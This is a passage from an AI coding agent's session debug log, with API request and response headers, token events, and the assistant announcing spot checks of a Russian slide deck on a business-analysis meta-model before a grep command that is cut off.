\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a 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\u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 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\u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\",\n[2026-09-29T08:03:28.674Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:28.674Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:28.674Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:28.674Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:28.674Z] [INFO]   }\n[2026-09-29T08:03:28.674Z] [INFO] }\n[2026-09-29T08:03:28.750Z] [STDOUT] [log_8b47a0] sending request {\n[2026-09-29T08:03:28.755Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:28.758Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:28.762Z] [STDOUT]   options: {\n[2026-09-29T08:03:28.765Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:28.770Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:28.778Z] [STDOUT]     body: {\n[2026-09-29T08:03:28.782Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:28.785Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:28.788Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:28.791Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:28.794Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:28.796Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:28.801Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:28.804Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:28.805Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:28.807Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:28.809Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:28.815Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:28.817Z] [STDOUT]     },\n[2026-09-29T08:03:28.820Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:28.824Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:28.829Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:28.834Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:28.839Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:28.842Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:28.869Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:28.879Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:28.884Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:28.892Z] [STDOUT]     },\n[2026-09-29T08:03:28.897Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:28.902Z] [STDOUT]   },\n[2026-09-29T08:03:28.911Z] [STDOUT]   headers: {\n[2026-09-29T08:03:28.919Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:28.932Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:28.942Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:28.954Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:28.962Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:28.966Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:28.969Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:28.972Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:28.975Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:28.977Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2057\",\n[2026-09-29T08:03:28.983Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:28.986Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:28.995Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:28.999Z] [STDOUT]     \"x-client-request-id\": \"aaad204e-c8a0-4ec4-9918-a2e184fd437b\",\n[2026-09-29T08:03:29.002Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:29.004Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:29.007Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:29.017Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:29.030Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:29.036Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:29.040Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:29.054Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:29.060Z] [STDOUT]   },\n[2026-09-29T08:03:29.063Z] [STDOUT] }\n[2026-09-29T08:03:29.533Z] [STDOUT] [log_8b47a0, request-id: \"req_011CfXP8fL6GkcpD5gT7qNHn\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 781ms\n[2026-09-29T08:03:29.535Z] [STDOUT] [log_8b47a0] response start {\n[2026-09-29T08:03:29.539Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:29.541Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:29.544Z] [STDOUT]   headers: {\n[2026-09-29T08:03:29.547Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:29.553Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:29.557Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:29.560Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:29.566Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:29.570Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:29.582Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:29.591Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:29.598Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:29.602Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:29.606Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:29.610Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:29.616Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:29.620Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:29.624Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:29.627Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:29.632Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:29.638Z] [STDOUT]     \"cf-ray\": \"a42978b8ba285d90-FRA\",\n[2026-09-29T08:03:29.644Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:29.649Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:29.651Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:29.655Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:29.657Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:29 GMT\",\n[2026-09-29T08:03:29.660Z] [STDOUT]     \"request-id\": \"req_011CfXP8fL6GkcpD5gT7qNHn\",\n[2026-09-29T08:03:29.663Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:29.666Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:29.667Z] [STDOUT]     traceresponse: \"00-8a528a192b416f66bd24aa593442de1e-e165b171cd0991e5-01\",\n[2026-09-29T08:03:29.670Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:29.674Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:29.678Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:29.681Z] [STDOUT]   },\n[2026-09-29T08:03:29.683Z] [STDOUT]   durationMs: 781,\n[2026-09-29T08:03:29.686Z] [STDOUT] }\n[2026-09-29T08:03:29.688Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:29.690Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:29 GMT\",\n[2026-09-29T08:03:29.693Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:29.696Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:29.698Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:29.699Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:29.703Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:29.708Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:29.710Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:29.715Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:29.718Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:29.722Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:29.726Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:29.731Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:29.734Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:29.740Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:29.747Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:29.751Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:29.754Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:29.756Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:29.759Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:29.766Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:29.770Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:29.773Z] [STDOUT]   \"request-id\": \"req_011CfXP8fL6GkcpD5gT7qNHn\",\n[2026-09-29T08:03:29.776Z] [STDOUT]   \"traceresponse\": \"00-8a528a192b416f66bd24aa593442de1e-e165b171cd0991e5-01\",\n[2026-09-29T08:03:29.780Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:29.783Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:29.786Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:29.791Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:29.795Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:29.799Z] [STDOUT]   \"cf-ray\": \"a42978b8ba285d90-FRA\",\n[2026-09-29T08:03:29.802Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:29.807Z] [STDOUT] [log_8b47a0] response parsed {\n[2026-09-29T08:03:29.811Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:29.813Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:29.817Z] [STDOUT]   body: X {\n[2026-09-29T08:03:29.822Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:29.826Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:29.832Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:29.837Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:29.840Z] [STDOUT]     },\n[2026-09-29T08:03:29.844Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:29.848Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:29.850Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:29.852Z] [STDOUT]   },\n[2026-09-29T08:03:29.854Z] [STDOUT]   durationMs: 782,\n[2026-09-29T08:03:29.857Z] [STDOUT] }\n[2026-09-29T08:03:30.071Z] [INFO] {\n[2026-09-29T08:03:30.071Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:30.071Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:30.071Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T08:03:30.071Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:30.071Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:30.071Z] [INFO]   \"uuid\": \"2344f360-18aa-47fd-b559-b087163b204e\"\n[2026-09-29T08:03:30.071Z] [INFO] }\n[2026-09-29T08:03:31.099Z] [INFO] {\n[2026-09-29T08:03:31.099Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:31.099Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:31.099Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T08:03:31.099Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:31.099Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:31.099Z] [INFO]   \"uuid\": \"991d4b3c-e88b-4984-b1e2-dff641e59a7b\"\n[2026-09-29T08:03:31.099Z] [INFO] }\n[2026-09-29T08:03:31.803Z] [INFO] {\n[2026-09-29T08:03:31.803Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:31.803Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:31.803Z] [INFO]   \"estimated_tokens\": 285,\n[2026-09-29T08:03:31.803Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:31.803Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:31.803Z] [INFO]   \"uuid\": \"f83bea4d-52e1-4f24-9f3a-7288de207e72\"\n[2026-09-29T08:03:31.803Z] [INFO] }\n[2026-09-29T08:03:31.811Z] [INFO] {\n[2026-09-29T08:03:31.811Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:31.811Z] [INFO]   \"message\": {\n[2026-09-29T08:03:31.811Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:31.811Z] [INFO]     \"id\": \"msg_011CfXP8fvZS1kEEUxGJyNJ7\",\n[2026-09-29T08:03:31.811Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:31.811Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:31.811Z] [INFO]     \"content\": [\n[2026-09-29T08:03:31.811Z] [INFO]       {\n[2026-09-29T08:03:31.811Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:03:31.811Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:03:31.811Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T08:03:31.811Z] [INFO]     ],\n[2026-09-29T08:03:31.811Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:31.811Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:31.811Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:31.811Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:31.811Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:31.811Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:31.811Z] [INFO]       \"cache_creation_input_tokens\": 2082,\n[2026-09-29T08:03:31.811Z] [INFO]       \"cache_read_input_tokens\": 91791,\n[2026-09-29T08:03:31.811Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:31.811Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:31.811Z] [INFO]         \"ephemeral_1h_input_tokens\": 2082\n[2026-09-29T08:03:31.811Z] [INFO]       },\n[2026-09-29T08:03:31.811Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:03:31.811Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:31.811Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:31.811Z] [INFO]     },\n[2026-09-29T08:03:31.811Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:31.811Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:31.811Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:31.811Z] [INFO]   },\n[2026-09-29T08:03:31.811Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:31.811Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:31.811Z] [INFO]   \"uuid\": \"0a327010-d28b-4943-a1ff-60130a531cdc\",\n[2026-09-29T08:03:31.811Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:31.802Z\",\n[2026-09-29T08:03:31.811Z] [INFO]   \"request_id\": \"req_011CfXP8fL6GkcpD5gT7qNHn\"\n[2026-09-29T08:03:31.811Z] [INFO] }\n[2026-09-29T08:03:31.822Z] [INFO] {\n[2026-09-29T08:03:31.822Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:31.822Z] [INFO]   \"message\": {\n[2026-09-29T08:03:31.822Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:31.822Z] [INFO]     \"id\": \"msg_011CfXP8fvZS1kEEUxGJyNJ7\",\n[2026-09-29T08:03:31.822Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:31.822Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:31.822Z] [INFO]     \"content\": [\n[2026-09-29T08:03:31.822Z] [INFO]       {\n[2026-09-29T08:03:31.822Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:03:31.822Z] [INFO]         \"text\": \"Two more spot checks: whether \\\"declared input, contract, gate\\\" are among the 12 constructs, and whether the mango_ba_prompts CHANGELOG records the 23-file split.\"\n[2026-09-29T08:03:31.822Z] [INFO]       }\n[2026-09-29T08:03:31.822Z] [INFO]     ],\n[2026-09-29T08:03:31.822Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:31.822Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:31.822Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:31.822Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:31.822Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:31.822Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:31.822Z] [INFO]       \"cache_creation_input_tokens\": 2082,\n[2026-09-29T08:03:31.822Z] [INFO]       \"cache_read_input_tokens\": 91791,\n[2026-09-29T08:03:31.822Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:31.822Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:31.822Z] [INFO]         \"ephemeral_1h_input_tokens\": 2082\n[2026-09-29T08:03:31.822Z] [INFO]       },\n[2026-09-29T08:03:31.822Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:03:31.822Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:31.822Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:31.822Z] [INFO]     },\n[2026-09-29T08:03:31.822Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:31.822Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:31.822Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:31.822Z] [INFO]   },\n[2026-09-29T08:03:31.822Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:31.822Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:31.822Z] [INFO]   \"uuid\": \"f417247a-c486-4fbd-8f98-fb3a4179d1b6\",\n[2026-09-29T08:03:31.822Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:31.804Z\",\n[2026-09-29T08:03:31.822Z] [INFO]   \"request_id\": \"req_011CfXP8fL6GkcpD5gT7qNHn\"\n[2026-09-29T08:03:31.822Z] [INFO] }\n[2026-09-29T08:03:33.591Z] [INFO] {\n[2026-09-29T08:03:33.591Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:33.591Z] [INFO]   \"message\": {\n[2026-09-29T08:03:33.591Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:33.591Z] [INFO]     \"id\": \"msg_011CfXP8fvZS1kEEUxGJyNJ7\",\n[2026-09-29T08:03:33.591Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:33.591Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:33.591Z] [INFO]     \"content\": [\n[2026-09-29T08:03:33.591Z] [INFO]       {\n[2026-09-29T08:03:33.591Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:03:33.591Z] [INFO]         \"id\": \"toolu_01QKfJ8RCCxejRvPPaYkcGi7\",\n[2026-09-29T08:03:33.591Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:03:33.591Z] [INFO]         \"input\": {\n[2026-09-29T08:03:33.591Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n -i 